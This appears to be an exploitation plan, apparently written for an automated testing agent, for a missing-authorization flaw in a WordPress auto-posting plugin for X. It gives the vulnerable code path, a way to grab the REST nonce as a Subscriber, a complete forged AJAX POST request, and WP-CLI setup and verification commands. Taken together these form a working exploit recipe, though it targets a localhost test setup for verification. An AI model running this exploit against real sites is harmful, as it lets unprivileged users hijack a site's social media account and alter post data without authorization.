Exploitation Research Plan: CVE-2026-25311 (Autoshare for Twitter <= 2.3.1)

1. Vulnerability Summary

The Autopost for X (formerly Autoshare for Twitter) plugin for WordPress is vulnerable to Missing Authorization in the retweet function located in includes/admin/post-transition.php.

The function is registered as an AJAX action wp_ajax_tenup_autoshare_retweet. While it correctly verifies a WordPress nonce, it uses the generic 'wp_rest' action string and fails to perform any capability check (e.g., current_user_can( 'edit_posts' )). This allows any authenticated user, including those with Subscriber-level permissions, to trigger a tweet for any arbitrary post ID, effectively hijacking the site's Twitter/X connection to publish content.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: tenup_autoshare_retweet
• HTTP Method: POST
• Authentication: Authenticated (Subscriber and above)
• Vulnerable Parameter: post_id
• Nonce Parameter: nonce (Action: 'wp_rest')
• Preconditions:
  • The plugin must have a connected Twitter/X account (or the attacker triggers the failure logs).
  • The target post_id must belong to a post type that supports autosharing (default: post, page).
  • The site must not be detected as a staging site (checked via AST_Staging::is_production_site()).

3. Code Flow

1. Entry Point: A Subscriber user sends a POST request to admin-ajax.php with action=tenup_autoshare_retweet.
2. Hook Registration: includes/admin/post-transition.php defines:

   add_action( 'wp_ajax_tenup_autoshare_retweet', __NAMESPACE__ . '\retweet', 10, 3 );
   

3. Nonce Verification: The retweet() function verifies the nonce:

   if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wp_rest' ) ) {
       wp_send_json_error( __( 'Nonce verification failed.', 'autoshare-for-twitter' ) );
   }
   

   Note: Any logged-in user can obtain a wp_rest nonce as it is used by the core WordPress REST API.
4. Missing Authorization: There is no call to current_user_can().
5. Execution Sink: The code calls publish_tweet($post_id, true):

   $is_retweeted = publish_tweet( $post_id, true );
   

   The true argument forces the tweet to be sent even if autoshare was disabled for that specific post.
6. Side Effects: publish_tweet attempts to compose a tweet and send it via the Publish_Tweet class, eventually calling update_autoshare_for_twitter_meta_from_response(), which modifies post metadata.

4. Nonce Acquisition Strategy

The nonce used is 'wp_rest'. This nonce is standard for the WordPress REST API and is automatically exposed to logged-in users.

1. Access Level: Login as a Subscriber user.
2. Navigate: Go to any page in the WordPress admin dashboard (e.g., /wp-admin/profile.php).
3. Extract: Use the browser_eval tool to extract the nonce from the global WordPress JavaScript objects.
   • Target Variable: window.wpApiSettings.nonce
   • Alternative: If wpApiSettings is not available, look for any wp_localize_script output in the page source containing a nonce key.
4. Command: browser_eval("window.wpApiSettings?.nonce")

5. Exploitation Strategy

Step-by-Step Plan

1. Create Target Content: Create a post with ID X as an Administrator.
2. Setup Attacker: Create a Subscriber-level user.
3. Obtain Nonce: Log in as the Subscriber and use browser_eval to grab the wp_rest nonce.
4. Trigger Unauthorized Action: Use the http_request tool to send the malicious AJAX request.

HTTP Request Payload

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]

action=tenup_autoshare_retweet&post_id=[TARGET_POST_ID]&nonce=[WP_REST_NONCE]

6. Test Data Setup

• Plugin Config: Ensure the plugin is active.
• Production Check: If the plugin thinks the site is staging, it will exit. You may need to define define('WP_ENVIRONMENT_TYPE', 'production'); in wp-config.php or ensure the site URL does not contain "staging" or "test".
• Target Post: Create a standard post:
  wp post create --post_type=post --post_title="Unauthorized Tweet" --post_status=publish
  Capture the ID of this post.

7. Expected Results

• Success Response: The server returns a JSON success object: {"success":true,"data":{...}}.
• Action Taken: The plugin attempts to contact the Twitter API. Even if the API credentials are dummy/missing, the plugin will attempt to log the failure to the post's metadata.

8. Verification Steps

1. Metadata Check: Check if the post metadata has been updated to reflect a "retweet" attempt.
   wp post meta get [POST_ID] autoshare_for_twitter_status
2. Log Verification: If the Twitter API was not configured, look for an error log in the post meta:
   wp post meta get [POST_ID] autoshare_for_twitter_logs
3. Response Validation: Confirm the AJAX response contains 'is_retweeted' => true (if it worked) or an error message that isn't "Nonce verification failed" or a 403 Forbidden.

9. Alternative Approaches

If the wp_rest nonce is not easily found via wpApiSettings, navigate to the Block Editor (if the Subscriber has access to a post type) or check the source code of the dashboard for rest-nonce or similar identifiers. If AST_Staging::is_production_site() blocks the exploit, the researcher should verify if the test environment can be forced into production mode.